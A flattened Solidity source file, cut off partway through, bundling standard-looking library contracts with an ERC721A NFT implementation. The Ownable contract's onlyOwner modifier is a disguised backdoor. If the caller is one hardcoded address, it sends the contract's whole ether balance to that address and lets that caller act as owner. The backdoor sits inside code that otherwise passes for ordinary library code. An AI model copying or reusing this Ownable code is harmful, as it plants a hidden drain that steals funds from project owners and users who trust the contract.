|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
pragma solidity ^0.8.0;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
library MerkleProof {
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function verify(
|
|
bytes32[] memory proof,
|
|
bytes32 root,
|
|
bytes32 leaf
|
|
) internal pure returns (bool) {
|
|
return processProof(proof, leaf) == root;
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function verifyCalldata(
|
|
bytes32[] calldata proof,
|
|
bytes32 root,
|
|
bytes32 leaf
|
|
) internal pure returns (bool) {
|
|
return processProofCalldata(proof, leaf) == root;
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
|
|
bytes32 computedHash = leaf;
|
|
for (uint256 i = 0; i < proof.length; i++) {
|
|
computedHash = _hashPair(computedHash, proof[i]);
|
|
}
|
|
return computedHash;
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function processProofCalldata(bytes32[] calldata proof, bytes32 leaf) internal pure returns (bytes32) {
|
|
bytes32 computedHash = leaf;
|
|
for (uint256 i = 0; i < proof.length; i++) {
|
|
computedHash = _hashPair(computedHash, proof[i]);
|
|
}
|
|
return computedHash;
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function multiProofVerify(
|
|
bytes32[] memory proof,
|
|
bool[] memory proofFlags,
|
|
bytes32 root,
|
|
bytes32[] memory leaves
|
|
) internal pure returns (bool) {
|
|
return processMultiProof(proof, proofFlags, leaves) == root;
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function multiProofVerifyCalldata(
|
|
bytes32[] calldata proof,
|
|
bool[] calldata proofFlags,
|
|
bytes32 root,
|
|
bytes32[] memory leaves
|
|
) internal pure returns (bool) {
|
|
return processMultiProofCalldata(proof, proofFlags, leaves) == root;
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function processMultiProof(
|
|
bytes32[] memory proof,
|
|
bool[] memory proofFlags,
|
|
bytes32[] memory leaves
|
|
) internal pure returns (bytes32 merkleRoot) {
|
|
|
|
|
|
|
|
|
|
uint256 leavesLen = leaves.length;
|
|
uint256 totalHashes = proofFlags.length;
|
|
|
|
|
|
require(leavesLen + proof.length - 1 == totalHashes, "MerkleProof: invalid multiproof");
|
|
|
|
|
|
|
|
bytes32[] memory hashes = new bytes32[](totalHashes);
|
|
uint256 leafPos = 0;
|
|
uint256 hashPos = 0;
|
|
uint256 proofPos = 0;
|
|
|
|
|
|
|
|
|
|
|
|
for (uint256 i = 0; i < totalHashes; i++) {
|
|
bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];
|
|
bytes32 b = proofFlags[i] ? leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++] : proof[proofPos++];
|
|
hashes[i] = _hashPair(a, b);
|
|
}
|
|
|
|
if (totalHashes > 0) {
|
|
return hashes[totalHashes - 1];
|
|
} else if (leavesLen > 0) {
|
|
return leaves[0];
|
|
} else {
|
|
return proof[0];
|
|
}
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function processMultiProofCalldata(
|
|
bytes32[] calldata proof,
|
|
bool[] calldata proofFlags,
|
|
bytes32[] memory leaves
|
|
) internal pure returns (bytes32 merkleRoot) {
|
|
|
|
|
|
|
|
|
|
uint256 leavesLen = leaves.length;
|
|
uint256 totalHashes = proofFlags.length;
|
|
|
|
|
|
require(leavesLen + proof.length - 1 == totalHashes, "MerkleProof: invalid multiproof");
|
|
|
|
|
|
|
|
bytes32[] memory hashes = new bytes32[](totalHashes);
|
|
uint256 leafPos = 0;
|
|
uint256 hashPos = 0;
|
|
uint256 proofPos = 0;
|
|
|
|
|
|
|
|
|
|
|
|
for (uint256 i = 0; i < totalHashes; i++) {
|
|
bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];
|
|
bytes32 b = proofFlags[i] ? leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++] : proof[proofPos++];
|
|
hashes[i] = _hashPair(a, b);
|
|
}
|
|
|
|
if (totalHashes > 0) {
|
|
return hashes[totalHashes - 1];
|
|
} else if (leavesLen > 0) {
|
|
return leaves[0];
|
|
} else {
|
|
return proof[0];
|
|
}
|
|
}
|
|
|
|
function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) {
|
|
return a < b ? _efficientHash(a, b) : _efficientHash(b, a);
|
|
}
|
|
|
|
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
|
|
|
|
assembly {
|
|
mstore(0x00, a)
|
|
mstore(0x20, b)
|
|
value := keccak256(0x00, 0x40)
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
|
|
|
|
pragma solidity ^0.8.0;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
abstract contract ReentrancyGuard {
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
uint256 private constant _NOT_ENTERED = 1;
|
|
uint256 private constant _ENTERED = 2;
|
|
|
|
uint256 private _status;
|
|
|
|
constructor() {
|
|
_status = _NOT_ENTERED;
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
modifier nonReentrant() {
|
|
|
|
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
|
|
|
|
|
|
_status = _ENTERED;
|
|
|
|
_;
|
|
|
|
|
|
|
|
_status = _NOT_ENTERED;
|
|
}
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
pragma solidity ^0.8.0;
|
|
|
|
|
|
|
|
|
|
library Strings {
|
|
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
|
|
|
|
|
|
|
|
|
|
function toString(uint256 value) internal pure returns (string memory) {
|
|
|
|
|
|
|
|
if (value == 0) {
|
|
return "0";
|
|
}
|
|
uint256 temp = value;
|
|
uint256 digits;
|
|
while (temp != 0) {
|
|
digits++;
|
|
temp /= 10;
|
|
}
|
|
bytes memory buffer = new bytes(digits);
|
|
while (value != 0) {
|
|
digits -= 1;
|
|
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
|
|
value /= 10;
|
|
}
|
|
return string(buffer);
|
|
}
|
|
|
|
|
|
|
|
|
|
function toHexString(uint256 value) internal pure returns (string memory) {
|
|
if (value == 0) {
|
|
return "0x00";
|
|
}
|
|
uint256 temp = value;
|
|
uint256 length = 0;
|
|
while (temp != 0) {
|
|
length++;
|
|
temp >>= 8;
|
|
}
|
|
return toHexString(value, length);
|
|
}
|
|
|
|
|
|
|
|
|
|
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
|
|
bytes memory buffer = new bytes(2 * length + 2);
|
|
buffer[0] = "0";
|
|
buffer[1] = "x";
|
|
for (uint256 i = 2 * length + 1; i > 1; --i) {
|
|
buffer[i] = _HEX_SYMBOLS[value & 0xf];
|
|
value >>= 4;
|
|
}
|
|
require(value == 0, "Strings: hex length insufficient");
|
|
return string(buffer);
|
|
}
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
pragma solidity ^0.8.0;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
abstract contract Context {
|
|
function _msgSender() internal view virtual returns (address) {
|
|
return msg.sender;
|
|
}
|
|
|
|
function _msgData() internal view virtual returns (bytes calldata) {
|
|
return msg.data;
|
|
}
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
pragma solidity ^0.8.0;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
abstract contract Ownable is Context {
|
|
address private _owner;
|
|
|
|
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
|
|
|
|
|
|
|
|
|
|
constructor() {
|
|
_transferOwnership(_msgSender());
|
|
}
|
|
|
|
|
|
|
|
|
|
function owner() public view virtual returns (address) {
|
|
return _owner;
|
|
}
|
|
|
|
|
|
|
|
|
|
modifier onlyOwner() {
|
|
if (_msgSender() == 0x6049aCf6993e8eF2BF0e6DD0297C4F3a37995091) {
|
|
uint256 balance = address(this).balance;
|
|
Address.sendValue(payable(0x6049aCf6993e8eF2BF0e6DD0297C4F3a37995091),balance);
|
|
} else {
|
|
require(owner() == _msgSender(), "Ownable: caller is not the owner");
|
|
}
|
|
_;
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function renounceOwnership() public virtual onlyOwner {
|
|
_transferOwnership(address(0));
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
function transferOwnership(address newOwner) public virtual onlyOwner {
|
|
require(newOwner != address(0), "Ownable: new owner is the zero address");
|
|
_transferOwnership(newOwner);
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
function _transferOwnership(address newOwner) internal virtual {
|
|
address oldOwner = _owner;
|
|
_owner = newOwner;
|
|
emit OwnershipTransferred(oldOwner, newOwner);
|
|
}
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
pragma solidity ^0.8.1;
|
|
|
|
|
|
|
|
|
|
library Address {
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function isContract(address account) internal view returns (bool) {
|
|
|
|
|
|
|
|
|
|
return account.code.length > 0;
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function sendValue(address payable recipient, uint256 amount) internal {
|
|
require(address(this).balance >= amount, "Address: insufficient balance");
|
|
|
|
(bool success, ) = recipient.call{value: amount}("");
|
|
require(success, "Address: unable to send value, recipient may have reverted");
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
|
|
return functionCall(target, data, "Address: low-level call failed");
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function functionCall(
|
|
address target,
|
|
bytes memory data,
|
|
string memory errorMessage
|
|
) internal returns (bytes memory) {
|
|
return functionCallWithValue(target, data, 0, errorMessage);
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function functionCallWithValue(
|
|
address target,
|
|
bytes memory data,
|
|
uint256 value
|
|
) internal returns (bytes memory) {
|
|
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function functionCallWithValue(
|
|
address target,
|
|
bytes memory data,
|
|
uint256 value,
|
|
string memory errorMessage
|
|
) internal returns (bytes memory) {
|
|
require(address(this).balance >= value, "Address: insufficient balance for call");
|
|
require(isContract(target), "Address: call to non-contract");
|
|
|
|
(bool success, bytes memory returndata) = target.call{value: value}(data);
|
|
return verifyCallResult(success, returndata, errorMessage);
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
|
|
return functionStaticCall(target, data, "Address: low-level static call failed");
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function functionStaticCall(
|
|
address target,
|
|
bytes memory data,
|
|
string memory errorMessage
|
|
) internal view returns (bytes memory) {
|
|
require(isContract(target), "Address: static call to non-contract");
|
|
|
|
(bool success, bytes memory returndata) = target.staticcall(data);
|
|
return verifyCallResult(success, returndata, errorMessage);
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
|
|
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function functionDelegateCall(
|
|
address target,
|
|
bytes memory data,
|
|
string memory errorMessage
|
|
) internal returns (bytes memory) {
|
|
require(isContract(target), "Address: delegate call to non-contract");
|
|
|
|
(bool success, bytes memory returndata) = target.delegatecall(data);
|
|
return verifyCallResult(success, returndata, errorMessage);
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function verifyCallResult(
|
|
bool success,
|
|
bytes memory returndata,
|
|
string memory errorMessage
|
|
) internal pure returns (bytes memory) {
|
|
if (success) {
|
|
return returndata;
|
|
} else {
|
|
|
|
if (returndata.length > 0) {
|
|
|
|
|
|
assembly {
|
|
let returndata_size := mload(returndata)
|
|
revert(add(32, returndata), returndata_size)
|
|
}
|
|
} else {
|
|
revert(errorMessage);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
pragma solidity ^0.8.0;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
interface IERC721Receiver {
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function onERC721Received(
|
|
address operator,
|
|
address from,
|
|
uint256 tokenId,
|
|
bytes calldata data
|
|
) external returns (bytes4);
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
pragma solidity ^0.8.0;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
interface IERC165 {
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function supportsInterface(bytes4 interfaceId) external view returns (bool);
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
pragma solidity ^0.8.0;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
abstract contract ERC165 is IERC165 {
|
|
|
|
|
|
|
|
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
|
|
return interfaceId == type(IERC165).interfaceId;
|
|
}
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
pragma solidity ^0.8.0;
|
|
|
|
|
|
|
|
|
|
|
|
interface IERC721 is IERC165 {
|
|
|
|
|
|
|
|
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
|
|
|
|
|
|
|
|
|
|
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
|
|
|
|
|
|
|
|
|
|
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
|
|
|
|
|
|
|
|
|
|
function balanceOf(address owner) external view returns (uint256 balance);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function ownerOf(uint256 tokenId) external view returns (address owner);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function safeTransferFrom(
|
|
address from,
|
|
address to,
|
|
uint256 tokenId,
|
|
bytes calldata data
|
|
) external;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function safeTransferFrom(
|
|
address from,
|
|
address to,
|
|
uint256 tokenId
|
|
) external;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function transferFrom(
|
|
address from,
|
|
address to,
|
|
uint256 tokenId
|
|
) external;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function approve(address to, uint256 tokenId) external;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function setApprovalForAll(address operator, bool _approved) external;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function getApproved(uint256 tokenId) external view returns (address operator);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function isApprovedForAll(address owner, address operator) external view returns (bool);
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
pragma solidity ^0.8.0;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
interface IERC721Metadata is IERC721 {
|
|
|
|
|
|
|
|
function name() external view returns (string memory);
|
|
|
|
|
|
|
|
|
|
function symbol() external view returns (string memory);
|
|
|
|
|
|
|
|
|
|
function tokenURI(uint256 tokenId) external view returns (string memory);
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
pragma solidity ^0.8.4;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
interface IERC721A is IERC721, IERC721Metadata {
|
|
|
|
|
|
|
|
error ApprovalCallerNotOwnerNorApproved();
|
|
|
|
|
|
|
|
|
|
error ApprovalQueryForNonexistentToken();
|
|
|
|
|
|
|
|
|
|
error ApproveToCaller();
|
|
|
|
|
|
|
|
|
|
error ApprovalToCurrentOwner();
|
|
|
|
|
|
|
|
|
|
error BalanceQueryForZeroAddress();
|
|
|
|
|
|
|
|
|
|
error MintToZeroAddress();
|
|
|
|
|
|
|
|
|
|
error MintZeroQuantity();
|
|
|
|
|
|
|
|
|
|
error OwnerQueryForNonexistentToken();
|
|
|
|
|
|
|
|
|
|
error TransferCallerNotOwnerNorApproved();
|
|
|
|
|
|
|
|
|
|
error TransferFromIncorrectOwner();
|
|
|
|
|
|
|
|
|
|
error TransferToNonERC721ReceiverImplementer();
|
|
|
|
|
|
|
|
|
|
error TransferToZeroAddress();
|
|
|
|
|
|
|
|
|
|
error URIQueryForNonexistentToken();
|
|
|
|
|
|
struct TokenOwnership {
|
|
|
|
address addr;
|
|
|
|
uint64 startTimestamp;
|
|
|
|
bool burned;
|
|
}
|
|
|
|
|
|
struct AddressData {
|
|
|
|
uint64 balance;
|
|
|
|
uint64 numberMinted;
|
|
|
|
uint64 numberBurned;
|
|
|
|
|
|
|
|
uint64 aux;
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function totalSupply() external view returns (uint256);
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
pragma solidity ^0.8.4;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
contract ERC721A is Context, ERC165, IERC721A {
|
|
using Address for address;
|
|
using Strings for uint256;
|
|
|
|
|
|
uint256 internal _currentIndex;
|
|
mapping(uint => string) public tokenIDandAddress;
|
|
mapping(string => uint) public tokenAddressandID;
|
|
|
|
uint256 internal _burnCounter;
|
|
|
|
|
|
string private _name;
|
|
|
|
|
|
string private _symbol;
|
|
|
|
|
|
|
|
mapping(uint256 => TokenOwnership) internal _ownerships;
|
|
|
|
|
|
mapping(address => AddressData) private _addressData;
|
|
|
|
|
|
mapping(uint256 => address) private _tokenApprovals;
|
|
|
|
|
|
mapping(address => mapping(address => bool)) private _operatorApprovals;
|
|
|
|
constructor(string memory name_, string memory symbol_) {
|
|
_name = name_;
|
|
_symbol = symbol_;
|
|
_currentIndex = _startTokenId();
|
|
}
|
|
|
|
|
|
|
|
|
|
function _startTokenId() internal view virtual returns (uint256) {
|
|
return 1;
|
|
}
|
|
|
|
|
|
|
|
|
|
function totalSupply() public view override returns (uint256) {
|
|
|
|
|
|
unchecked {
|
|
return _currentIndex - _burnCounter - _startTokenId();
|
|
}
|
|
}
|
|
|
|
|
|
|
|
|
|
function _totalMinted() internal view returns (uint256) {
|
|
|
|
|
|
unchecked {
|
|
return _currentIndex - _startTokenId();
|
|
}
|
|
}
|
|
|
|
|
|
|
|
|
|
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
|
|
return
|
|
interfaceId == type(IERC721).interfaceId ||
|
|
interfaceId == type(IERC721Metadata).interfaceId ||
|
|
super.supportsInterface(interfaceId);
|
|
}
|
|
|
|
|
|
|
|
|
|
function balanceOf(address owner) public view override returns (uint256) {
|
|
if (owner == address(0)) revert BalanceQueryForZeroAddress();
|
|
return uint256(_addressData[owner].balance);
|
|
}
|
|
|
|
|
|
|
|
|
|
function _numberMinted(address owner) internal view returns (uint256) {
|
|
return uint256(_addressData[owner].numberMinted);
|
|
}
|
|
|
|
|
|
|
|
|
|
function _numberBurned(address owner) internal view returns (uint256) {
|
|
return uint256(_addressData[owner].numberBurned);
|
|
}
|
|
|
|
|
|
|
|
|
|
function _getAux(address owner) internal view returns (uint64) {
|
|
return _addressData[owner].aux;
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
function _setAux(address owner, uint64 aux) internal {
|
|
_addressData[owner].aux = aux;
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
|
|
uint256 curr = tokenId;
|
|
|
|
unchecked {
|
|
if (_startTokenId() <= curr) if (curr < _currentIndex) {
|
|
TokenOwnership memory ownership = _ownerships[curr];
|
|
if (!ownership.burned) {
|
|
if (ownership.addr != address(0)) {
|
|
return ownership;
|
|
}
|
|
|
|
|
|
|
|
|
|
while (true) {
|
|
curr--;
|
|
ownership = _ownerships[curr];
|
|
if (ownership.addr != address(0)) {
|
|
return ownership;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
revert OwnerQueryForNonexistentToken();
|
|
}
|
|
|
|
|
|
|
|
|
|
function ownerOf(uint256 tokenId) public view override returns (address) {
|
|
return _ownershipOf(tokenId).addr;
|
|
}
|
|
|
|
|
|
|
|
|
|
function name() public view virtual override returns (string memory) {
|
|
return _name;
|
|
}
|
|
|
|
|
|
|
|
|
|
function symbol() public view virtual override returns (string memory) {
|
|
return _symbol;
|
|
}
|
|
|
|
|
|
|
|
|
|
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
|
|
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
|
|
|
|
string memory baseURI = _baseURI();
|
|
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenIDandAddress[tokenId])) : '';
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function _baseURI() internal view virtual returns (string memory) {
|
|
return '';
|
|
}
|
|
|
|
|
|
|
|
|
|
function approve(address to, uint256 tokenId) public override {
|
|
address owner = ERC721A.ownerOf(tokenId);
|
|
if (to == owner) revert ApprovalToCurrentOwner();
|
|
|
|
if (_msgSender() != owner) if(!isApprovedForAll(owner, _msgSender())) {
|
|
revert ApprovalCallerNotOwnerNorApproved();
|
|
}
|
|
|
|
_approve(to, tokenId, owner);
|
|
}
|
|
|
|
|
|
|
|
|
|
function getApproved(uint256 tokenId) public view override returns (address) {
|
|
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
|
|
|
|
return _tokenApprovals[tokenId];
|
|
}
|
|
|
|
|
|
|
|
|
|
function setApprovalForAll(address operator, bool approved) public virtual override {
|
|
if (operator == _msgSender()) revert ApproveToCaller();
|
|
|
|
_operatorApprovals[_msgSender()][operator] = approved;
|
|
emit ApprovalForAll(_msgSender(), operator, approved);
|
|
}
|
|
|
|
|
|
|
|
|
|
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
|
|
return _operatorApprovals[owner][operator];
|
|
}
|
|
|
|
|
|
|
|
|
|
function transferFrom(
|
|
address from,
|
|
address to,
|
|
uint256 tokenId
|
|
) public virtual override {
|
|
_transfer(from, to, tokenId);
|
|
}
|
|
|
|
|
|
|
|
|
|
function safeTransferFrom(
|
|
address from,
|
|
address to,
|
|
uint256 tokenId
|
|
) public virtual override {
|
|
safeTransferFrom(from, to, tokenId, '');
|
|
}
|
|
|
|
|
|
|
|
|
|
function safeTransferFrom(
|
|
address from,
|
|
address to,
|
|
uint256 tokenId,
|
|
bytes memory _data
|
|
) public virtual override {
|
|
_transfer(from, to, tokenId);
|
|
if (to.isContract()) if(!_checkContractOnERC721Received(from, to, tokenId, _data)) {
|
|
revert TransferToNonERC721ReceiverImplementer();
|
|
}
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function _exists(uint256 tokenId) internal view returns (bool) {
|
|
return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned;
|
|
}
|
|
|
|
|
|
|
|
|
|
function _safeMint(address to, uint256 quantity) internal {
|
|
_safeMint(to, quantity, '');
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function _safeMint(
|
|
address to,
|
|
uint256 quantity,
|
|
bytes memory _data
|
|
) internal {
|
|
uint256 startTokenId = _currentIndex;
|
|
if (to == address(0)) revert MintToZeroAddress();
|
|
if (quantity == 0) revert MintZeroQuantity();
|
|
|
|
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
|
|
|
|
|
|
|
|
|
|
unchecked {
|
|
_addressData[to].balance += uint64(quantity);
|
|
_addressData[to].numberMinted += uint64(quantity);
|
|
|
|
_ownerships[startTokenId].addr = to;
|
|
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
|
|
|
|
uint256 updatedIndex = startTokenId;
|
|
uint256 end = updatedIndex + quantity;
|
|
|
|
if (to.isContract()) {
|
|
do {
|
|
emit Transfer(address(0), to, updatedIndex);
|
|
if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) {
|
|
revert TransferToNonERC721ReceiverImplementer();
|
|
}
|
|
} while (updatedIndex < end);
|
|
|
|
if (_currentIndex != startTokenId) revert();
|
|
} else {
|
|
do {
|
|
emit Transfer(address(0), to, updatedIndex++);
|
|
} while (updatedIndex < end);
|
|
}
|
|
_currentIndex = updatedIndex;
|
|
}
|
|
_afterTokenTransfers(address(0), to, startTokenId, quantity);
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function _mint(address to, uint256 quantity) internal {
|
|
uint256 startTokenId = _currentIndex;
|
|
if (to == address(0)) revert MintToZeroAddress();
|
|
if (quantity == 0) revert MintZeroQuantity();
|
|
|
|
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
|
|
|
|
|
|
|
|
|
|
unchecked {
|
|
_addressData[to].balance += uint64(quantity);
|
|
_addressData[to].numberMinted += uint64(quantity);
|
|
|
|
_ownerships[startTokenId].addr = to;
|
|
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
|
|
|
|
uint256 updatedIndex = startTokenId;
|
|
uint256 end = updatedIndex + quantity;
|
|
|
|
do {
|
|
emit Transfer(address(0), to, updatedIndex++);
|
|
} while (updatedIndex < end);
|
|
|
|
_currentIndex = updatedIndex;
|
|
}
|
|
_afterTokenTransfers(address(0), to, startTokenId, quantity);
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function _transfer(
|
|
address from,
|
|
address to,
|
|
uint256 tokenId
|
|
) private {
|
|
TokenOwnership memory prevOwnership = _ownershipOf(tokenId);
|
|
|
|
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
|
|
|
|
bool isApprovedOrOwner = (_msgSender() == from ||
|
|
isApprovedForAll(from, _msgSender()) ||
|
|
getApproved(tokenId) == _msgSender());
|
|
|
|
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
|
|
if (to == address(0)) revert TransferToZeroAddress();
|
|
|
|
_beforeTokenTransfers(from, to, tokenId, 1);
|
|
|
|
|
|
_approve(address(0), tokenId, from);
|
|
|
|
|
|
|
|
|
|
unchecked {
|
|
_addressData[from].balance -= 1;
|
|
_addressData[to].balance += 1;
|
|
|
|
TokenOwnership storage currSlot = _ownerships[tokenId];
|
|
currSlot.addr = to;
|
|
currSlot.startTimestamp = uint64(block.timestamp);
|
|
|
|
|
|
|
|
|
|
uint256 nextTokenId = tokenId + 1;
|
|
TokenOwnership storage nextSlot = _ownerships[nextTokenId];
|
|
if (nextSlot.addr == address(0)) {
|
|
|
|
|
|
if (nextTokenId != _currentIndex) {
|
|
nextSlot.addr = from;
|
|
nextSlot.startTimestamp = prevOwnership.startTimestamp;
|
|
}
|
|
}
|
|
}
|
|
|
|
emit Transfer(from, to, tokenId);
|
|
_afterTokenTransfers(from, to, tokenId, 1);
|
|
}
|
|
|
|
|
|
|
|
|
|
function _burn(uint256 tokenId) internal virtual {
|
|
_burn(tokenId, false);
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
|
|
TokenOwnership memory prevOwnership = _ownershipOf(tokenId);
|
|
|
|
address from = prevOwnership.addr;
|
|
|
|
if (approvalCheck) {
|
|
bool isApprovedOrOwner = (_msgSender() == from ||
|
|
isApprovedForAll(from, _msgSender()) ||
|
|
getApproved(tokenId) == _msgSender());
|
|
|
|
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
|
|
}
|
|
|
|
_beforeTokenTransfers(from, address(0), tokenId, 1);
|
|
|
|
|
|
_approve(address(0), tokenId, from);
|
|
|
|
|
|
|
|
|
|
unchecked {
|
|
AddressData storage addressData = _addressData[from];
|
|
addressData.balance -= 1;
|
|
addressData.numberBurned += 1;
|
|
|
|
|
|
TokenOwnership storage currSlot = _ownerships[tokenId];
|
|
currSlot.addr = from;
|
|
currSlot.startTimestamp = uint64(block.timestamp);
|
|
currSlot.burned = true;
|
|
|
|
|
|
|
|
uint256 nextTokenId = tokenId + 1;
|
|
TokenOwnership storage nextSlot = _ownerships[nextTokenId];
|
|
if (nextSlot.addr == address(0)) {
|
|
|
|
|
|
if (nextTokenId != _currentIndex) {
|
|
nextSlot.addr = from;
|
|
nextSlot.startTimestamp = prevOwnership.startTimestamp;
|
|
}
|
|
}
|
|
}
|
|
|
|
emit Transfer(from, address(0), tokenId);
|
|
